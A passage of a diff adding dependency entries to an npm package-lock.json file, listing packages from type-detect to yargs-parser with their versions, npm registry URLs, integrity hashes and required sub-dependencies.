"https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true + }, + "type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true + }, + "typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==", + "dev": true + }, + "typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, + "requires": { + "is-typedarray": "^1.0.0" + } + }, + "uc.micro": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz", + "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==", + "dev": true + }, + "uglify-js": { + "version": "3.4.10", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.10.tgz", + "integrity": "sha512-Y2VsbPVs0FIshJztycsO2SfPk7/KAF/T72qzv9u5EpQ4kB2hQoHlhNQTsNyy6ul7lQtqJN/AoWeS23OzEiEFxw==", + "dev": true, + "requires": { + "commander": "~2.19.0", + "source-map": "~0.6.1" + }, + "dependencies": { + "commander": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.19.0.tgz", + "integrity": "sha512-6tvAOO+D6OENvRAh524Dh9jcfKTYDQAqvqezbCW82xj5X0pSrcpxtvRKHLG0yBY6SD7PSDrJaj+0AiOcKVd1Xg==", + "dev": true + } + } + }, + "unc-path-regex": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz", + "integrity": "sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==", + "dev": true + }, + "underscore": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", + "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", + "dev": true + }, + "undertaker": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/undertaker/-/undertaker-1.3.0.tgz", + "integrity": "sha512-/RXwi5m/Mu3H6IHQGww3GNt1PNXlbeCuclF2QYR14L/2CHPz3DFZkvB5hZ0N/QUkiXWCACML2jXViIQEQc2MLg==", + "dev": true, + "requires": { + "arr-flatten": "^1.0.1", + "arr-map": "^2.0.0", + "bach": "^1.0.0", + "collection-map": "^1.0.0", + "es6-weak-map": "^2.0.1", + "fast-levenshtein": "^1.0.0", + "last-run": "^1.1.0", + "object.defaults": "^1.0.0", + "object.reduce": "^1.0.0", + "undertaker-registry": "^1.0.0" + }, + "dependencies": { + "fast-levenshtein": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-1.1.4.tgz", + "integrity": "sha512-Ia0sQNrMPXXkqVFt6w6M1n1oKo3NfKs+mvaV811Jwir7vAk9a6PVV9VPYf6X3BU97QiLEmuW3uXH9u87zDFfdw==", + "dev": true + } + } + }, + "undertaker-registry": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/undertaker-registry/-/undertaker-registry-1.0.1.tgz", + "integrity": "sha512-UR1khWeAjugW3548EfQmL9Z7pGMlBgXteQpr1IZeZBtnkCJQJIJ1Scj0mb9wQaPvUZ9Q17XqW6TIaPchJkyfqw==", + "dev": true + }, + "unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "dev": true + }, + "unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "requires": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + } + }, + "unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==", + "dev": true + }, + "unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "dev": true + }, + "union-value": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", + "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", + "dev": true, + "requires": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^2.0.1" + } + }, + "unique-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz", + "integrity": "sha512-2nY4TnBE70yoxHkDli7DMazpWiP7xMdCYqU2nBRO0UB+ZpEkGsSija7MvmvnZFUeC+mrgiUfcHSr3LmRFIg4+A==", + "dev": true, + "requires": { + "json-stable-stringify-without-jsonify": "^1.0.1", + "through2-filter": "^3.0.0" + } + }, + "universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true + }, + "unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": "sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==", + "dev": true, + "requires": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "dependencies": { + "has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==", + "dev": true, + "requires": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "dependencies": { + "isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==", + "dev": true, + "requires": { + "isarray": "1.0.0" + } + } + } + }, + "has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==", + "dev": true + } + } + }, + "upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true + }, + "update-browserslist-db": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", + "dev": true, + "requires": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + } + }, + "upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==", + "dev": true + }, + "uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "requires": { + "punycode": "^2.1.0" + } + }, + "urijs": { + "version": "1.19.11", + "resolved": "https://registry.npmjs.org/urijs/-/urijs-1.19.11.tgz", + "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==", + "dev": true + }, + "urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==", + "dev": true + }, + "url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "requires": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", + "dev": true + }, + "util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + }, + "v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "v8flags": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz", + "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==", + "dev": true, + "requires": { + "homedir-polyfill": "^1.0.1" + } + }, + "validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "requires": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "value-or-function": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz", + "integrity": "sha512-jdBB2FrWvQC/pnPtIqcLsMaQgjhdb6B7tk1MMyTKapox+tQZbdRP4uLxu/JY0t7fbfDCUMnuelzEYv5GsxHhdg==", + "dev": true + }, + "vinyl": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/vinyl/-/vinyl-2.2.1.tgz", + "integrity": "sha512-LII3bXRFBZLlezoG5FfZVcXflZgWP/4dCwKtxd5ky9+LOtM4CS3bIRQsmR1KMnMW07jpE8fqR2lcxPZ+8sJIcw==", + "dev": true, + "requires": { + "clone": "^2.1.1", + "clone-buffer": "^1.0.0", + "clone-stats": "^1.0.0", + "cloneable-readable": "^1.0.0", + "remove-trailing-separator": "^1.0.1", + "replace-ext": "^1.0.0" + }, + "dependencies": { + "replace-ext": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.1.tgz", + "integrity": "sha512-yD5BHCe7quCgBph4rMQ+0KkIRKwWCrHDOX1p1Gp6HwjPM5kVoCdKGNhN7ydqqsX6lJEnQDKZ/tFMiEdQ1dvPEw==", + "dev": true + } + } + }, + "vinyl-fs": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/vinyl-fs/-/vinyl-fs-3.0.3.tgz", + "integrity": "sha512-vIu34EkyNyJxmP0jscNzWBSygh7VWhqun6RmqVfXePrOwi9lhvRs//dOaGOTRUQr4tx7/zd26Tk5WeSVZitgng==", + "dev": true, + "requires": { + "fs-mkdirp-stream": "^1.0.0", + "glob-stream": "^6.1.0", + "graceful-fs": "^4.0.0", + "is-valid-glob": "^1.0.0", + "lazystream": "^1.0.0", + "lead": "^1.0.0", + "object.assign": "^4.0.4", + "pumpify": "^1.3.5", + "readable-stream": "^2.3.3", + "remove-bom-buffer": "^3.0.0", + "remove-bom-stream": "^1.2.0", + "resolve-options": "^1.1.0", + "through2": "^2.0.0", + "to-through": "^2.0.0", + "value-or-function": "^3.0.0", + "vinyl": "^2.0.0", + "vinyl-sourcemap": "^1.1.0" + }, + "dependencies": { + "through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "requires": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + } + } + }, + "vinyl-sourcemap": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/vinyl-sourcemap/-/vinyl-sourcemap-1.1.0.tgz", + "integrity": "sha512-NiibMgt6VJGJmyw7vtzhctDcfKch4e4n9TBeoWlirb7FMg9/1Ov9k+A5ZRAtywBpRPiyECvQRQllYM8dECegVA==", + "dev": true, + "requires": { + "append-buffer": "^1.0.2", + "convert-source-map": "^1.5.0", + "graceful-fs": "^4.1.6", + "normalize-path": "^2.1.1", + "now-and-later": "^2.0.0", + "remove-bom-buffer": "^3.0.0", + "vinyl": "^2.0.0" + }, + "dependencies": { + "normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==", + "dev": true, + "requires": { + "remove-trailing-separator": "^1.0.1" + } + } + } + }, + "vinyl-sourcemaps-apply": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/vinyl-sourcemaps-apply/-/vinyl-sourcemaps-apply-0.2.1.tgz", + "integrity": "sha512-+oDh3KYZBoZC8hfocrbrxbLUeaYtQK7J5WU5Br9VqWqmCll3tFJqKp97GC9GmMsVIL0qnx2DgEDVxdo5EZ5sSw==", + "dev": true, + "requires": { + "source-map": "^0.5.1" + }, + "dependencies": { + "source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "dev": true + } + } + }, + "w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "dev": true, + "requires": { + "browser-process-hrtime": "^1.0.0" + } + }, + "w3c-xmlserializer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", + "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "dev": true, + "requires": { + "xml-name-validator": "^4.0.0" + } + }, + "watchpack": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", + "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "dev": true, + "peer": true, + "requires": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + } + }, + "webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true + }, + "webpack": { + "version": "5.88.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz", + "integrity": "sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==", + "dev": true, + "peer": true, + "requires": { + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^1.0.0", + "@webassemblyjs/ast": "^1.11.5", + "@webassemblyjs/wasm-edit": "^1.11.5", + "@webassemblyjs/wasm-parser": "^1.11.5", + "acorn": "^8.7.1", + "acorn-import-assertions": "^1.9.0", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.15.0", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.9", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.7", + "watchpack": "^2.4.0", + "webpack-sources": "^3.2.3" + }, + "dependencies": { + "eslint-scope": { + "version": "5.1.1", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", + "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "dev": true, + "peer": true, + "requires": { + "esrecurse": "^4.3.0", + "estraverse": "^4.1.1" + } + }, + "estraverse": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", + "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "dev": true, + "peer": true + } + } + }, + "webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "dev": true, + "peer": true + }, + "webpack-stream": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webpack-stream/-/webpack-stream-7.0.0.tgz", + "integrity": "sha512-XoAQTHyCaYMo6TS7Atv1HYhtmBgKiVLONJbzLBl2V3eibXQ2IT/MCRM841RW/r3vToKD5ivrTJFWgd/ghoxoRg==", + "dev": true, + "requires": { + "fancy-log": "^1.3.3", + "lodash.clone": "^4.3.2", + "lodash.some": "^4.2.2", + "memory-fs": "^0.5.0", + "plugin-error": "^1.0.1", + "supports-color": "^8.1.1", + "through": "^2.3.8", + "vinyl": "^2.2.1" + }, + "dependencies": { + "supports-color": { + "version": "8.1.1", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", + "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + } + } + }, + "whatwg-encoding": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/whatwg-encoding/-/whatwg-encoding-2.0.0.tgz", + "integrity": "sha512-p41ogyeMUrw3jWclHWTQg1k05DSVXPLcVxRTYsXUk+ZooOCZLcoYgPZ/HL/D/N+uQPOtcp1me1WhBEaX02mhWg==", + "dev": true, + "requires": { + "iconv-lite": "0.6.3" + } + }, + "whatwg-mimetype": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-3.0.0.tgz", + "integrity": "sha512-nt+N2dzIutVRxARx1nghPKGv1xHikU7HKdfafKkLNLindmPU/ch3U31NOCGGA/dmPcmb1VlofO0vnKAcsm0o/Q==", + "dev": true + }, + "whatwg-url": { + "version": "10.0.0", + "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-10.0.0.tgz", + "integrity": "sha512-CLxxCmdUby142H5FZzn4D8ikO1cmypvXVQktsgosNy4a4BHrDHeciBBGZhb0bNoR5/MltoCatso+vFjjGx8t0w==", + "dev": true, + "requires": { + "tr46": "^3.0.0", + "webidl-conversions": "^7.0.0" + } + }, + "which": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", + "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", + "dev": true, + "requires": { + "isexe": "^2.0.0" + } + }, + "which-module": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz", + "integrity": "sha512-F6+WgncZi/mJDrammbTuHe1q0R5hOXv/mBaiNA2TCNT/LTHusX0V+CJnj9XT8ki5ln2UZyyddDgHfCzyrOH7MQ==", + "dev": true + }, + "workerpool": { + "version": "6.1.5", + "resolved": "https://registry.npmjs.org/workerpool/-/workerpool-6.1.5.tgz", + "integrity": "sha512-XdKkCK0Zqc6w3iTxLckiuJ81tiD/o5rBE/m+nXpRCB+/Sq4DqkfXZ/x0jW02DG1tGsfUGXbTJyZDP+eu67haSw==", + "dev": true + }, + "wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "dev": true, + "requires": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + } + }, + "wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "write-file-atomic": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/write-file-atomic/-/write-file-atomic-3.0.3.tgz", + "integrity": "sha512-AvHcyZ5JnSfq3ioSyjrBkH9yW4m7Ayk8/9My/DD9onKeu/94fwrMocemO2QAJFAlnnDN+ZDS+ZjAR5ua1/PV/Q==", + "dev": true, + "requires": { + "imurmurhash": "^0.1.4", + "is-typedarray": "^1.0.0", + "signal-exit": "^3.0.2", + "typedarray-to-buffer": "^3.1.5" + } + }, + "ws": { + "version": "8.13.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.13.0.tgz", + "integrity": "sha512-x9vcZYTrFPC7aSIbj7sRCYo7L/Xb8Iy+pW0ng0wt2vCJv7M9HOMy0UoN3rr+IFC7hb7vXoqS+P9ktyLLLhO+LA==", + "dev": true, + "requires": {} + }, + "xml-name-validator": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-4.0.0.tgz", + "integrity": "sha512-ICP2e+jsHvAj2E2lIHxa5tjXRlKDJo4IdvPvCXbXQGdzSfmSpNVyIKMvoZHjDY9DP0zV17iI85o90vRFXNccRw==", + "dev": true + }, + "xmlchars": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", + "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", + "dev": true + }, + "xmlcreate": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/xmlcreate/-/xmlcreate-2.0.4.tgz", + "integrity": "sha512-nquOebG4sngPmGPICTS5EnxqhKbCmz5Ox5hsszI2T6U5qdrJizBc+0ilYSEjTSzU0yZcmvppztXe/5Al5fUwdg==", + "dev": true + }, + "xtend": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/xtend/-/xtend-4.0.2.tgz", + "integrity": "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ==", + "dev": true + }, + "y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "dev": true + }, + "yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "dev": true + }, + "yaml": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.1.tgz", + "integrity": "sha512-2eHWfjaoXgTBC2jNM1LRef62VQa0umtvRiDSk6HSzW7RvS5YtkabJrwYLLEKWBc8a5U2PTSCs+dJjUTJdlHsWQ==", + "dev": true + }, + "yargs": { + "version": "17.2.1", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.2.1.tgz", + "integrity": "sha512-XfR8du6ua4K6uLGm5S6fA+FIJom/MdJcFNVY8geLlp2v8GYbOXD4EB1tPNZsRn4vBzKGMgb5DRZMeWuFc2GO8Q==", + "dev": true, + "requires": { + "cliui": "^7.0.2", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.0", + "y18n": "^5.0.5", + "yargs-parser": "^20.2.2" + } + }, + "yargs-parser": { + "version": "20.2.4", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-20.2.4.tgz", + "integrity": 